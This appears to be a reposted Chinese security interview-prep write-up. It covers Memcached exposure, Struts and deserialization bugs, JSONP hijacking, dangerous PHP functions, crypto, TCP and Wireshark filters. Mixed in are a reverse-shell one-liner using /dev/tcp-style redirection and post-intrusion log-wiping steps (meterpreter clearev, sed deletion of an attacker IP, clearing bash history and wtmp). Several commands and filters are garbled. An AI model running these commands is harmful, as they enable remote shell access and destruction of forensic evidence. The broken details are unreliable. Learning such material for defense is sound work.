127.0.0.15、Memcache未授权访问Memcached是⼀套常⽤的key-value缓存系统,由于它本⾝没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。利⽤a、登录机器执⾏netstat -an |more命令查看端⼝监听情况。回显0.0.0.0:11211表⽰在所有⽹卡进⾏监听,存在memcached未授权访问漏洞。b、telnet 11211,或nc -vv 11211,提⽰连接成功表⽰漏洞存在漏洞加固a、设置memchached只允许本地访问 b、禁⽌外⽹访问Memcached 11211端⼝ c、编译时加上–enable-sasl,启⽤SASL认证6、FFMPEG本地⽂件读取原理通过调⽤加密API将payload加密放⼊⼀个会被执⾏的段字节中。但是具体回答⼯程中我只回答道了SSRF⽼洞,m3u8头,偏移量,加密。

⼗九、安全知识1、WEB常见WEB开发JAVA框架STRUTS,SPRING 常见的java框架漏洞 其实⾯试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引⼊了ognl表达式 048封装action的过程中有⼀步调⽤getstackvalue递归获取ognl表达式 反序列化 操作对象,通过⼿段引⼊。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了同源策略同源策略限制不同源对当前document的属性内容进⾏读取或设置。不同源的区分:协议、域名、⼦域名、IP、端⼝,以上有不同时即不同源。Jsonp安全攻防技术,怎么写Jsonp的攻击页⾯涉及到Jsonp的安全攻防内容JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。攻击页⾯JSON劫持,跨域劫持敏感信息,页⾯类似于function wooyun(v){alert(me);}Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利⽤参照知道创宇的JSONP安全攻防技术。2、PHPphp中命令执⾏涉及到的函数代码执⾏:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

⽂件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等命令执⾏:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()安全模式下绕过php的disable fuctionDL函数,组件漏洞,环境变量。PHP弱类型== 在进⾏⽐较的时候,会先将字符串类型转化成相同,再⽐较如果⽐较⼀个数字和字符串或者⽐较涉及到数字内容的字符串,则字符串会被转换成数值并且⽐较按照数值来进⾏0e开头的字符串等于03、数据库各种数据库⽂件存放的位置mysql:/usr/local/mysql/data/

C:ProgramDataMySQLMySQL Server 5.6Dataoracle:$ORACLE_BASE/oradata/$ORACLE_SID/4、系统如何清理⽇志meterpreter:

clearev⼊侵 Linux 服务器后需要清除哪些⽇志?web⽇志,如apache的,。直接将⽇志清除过于明显,⼀般使⽤sed进⾏定向清除e.g. sed -i -e ‘/192.169.1.1/d’history命令的清除,也是对~/.bash_history进⾏定向清除wtmp⽇志的清除,/var/log/wtmp登录⽇志清除 /var/log/secureLINUX查看当前端⼝连接的命令有哪些?netstat 和 ss 命令的区别和优缺点netstat -antp` `ss -lss的优势在于它能够显⽰更多更详细的有关TCP和连接状态的信息,⽽且⽐netstat更快速更⾼效。反弹 shell 的常⽤命令?⼀般常反弹哪⼀种 shell?为什么?bash -i>&/dev//4444 0>&1通过Linux系统的/proc⽬录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应⽤?ls /proc系统信息,硬件信息,内核版本,加载的模块,进程linux系统中,检测哪些配置⽂件的配置项,能够提升SSH的安全性。/etc/ssh/sshd___configiptables配置如何⼀条命令查看⽂件内容最后⼀百⾏tail -n 100 filenameWindows如何加固⼀个域环境下的Windows桌⾯⼯作环境?请给出你的思路。

5、密码学AES/DES的具体⼯作步骤RSA算法加密:密⽂=明⽂^EmodNRSA加密是对明⽂的E次⽅后除以N后求余数的过程公钥=(E,N)解密:明⽂=密⽂^DmodN 私钥=(D,N)三个参数n,e1,e2n是两个⼤质数p,q的积分组密码的加密模式如何⽣成⼀个安全的随机数?引⽤之前⼀个学长的答案,可以通过⼀些物理系统⽣成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。SSL握⼿过程建⽴TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端⽤私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利⽤暗号⽣成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑⼦⾥,挣扎半天还是没敢确定,遂放弃。。。对称加密与⾮对称加密的不同,分别⽤在哪些⽅⾯6、TCP/IPTCP三次握⼿的过程以及对应的状态转换(1)客户端向服务器端发送⼀个SYN包,包含客户端使⽤的端⼝号和初始序列号x;(2)服务器端收到客户端发送来的SYN包后,向客户端发送⼀个SYN和ACK都置位的TCP报⽂,包含确认号xx1和服务器端的初始序列号y;(3)客户端收到服务器端返回的SYNSACK报⽂后,向服务器端返回⼀个确认号为yy1、序号为xx1的ACK报⽂,⼀个标准的TCP连接完成。TCP和UDP协议区别tcp⾯向连接,udp⾯向报⽂ tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证https的建⽴过程a、客户端发送请求到服务器端b、服务器端返回证书和公开密钥,公开密钥作为证书的⼀部分⽽存在c、客户端验证证书和公开密钥的有效性,如果有效,则⽣成共享密钥并使⽤公开密钥加密发送到服务器端d、服务器端使⽤私有密钥解密数据,并使⽤收到的共享密钥加密数据,发送到客户端e、客户端使⽤共享密钥解密数据f、SSL加密建⽴7、流量分析wireshark简单的过滤规则过滤ip:过滤源ip地址:==1.1.1.1;,⽬的ip地址:==1.1.1.1;过滤端⼝:过滤80端⼝:==80,源端⼝:t==80,⽬的端⼝:t==80协议过滤:直接输⼊协议名即可,如http协议httphttp模式过滤:过滤get/post包=="GET/POST"

发布者:admin,转转请注明出处:http://www.yc00.com/news/1689193192a219077.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信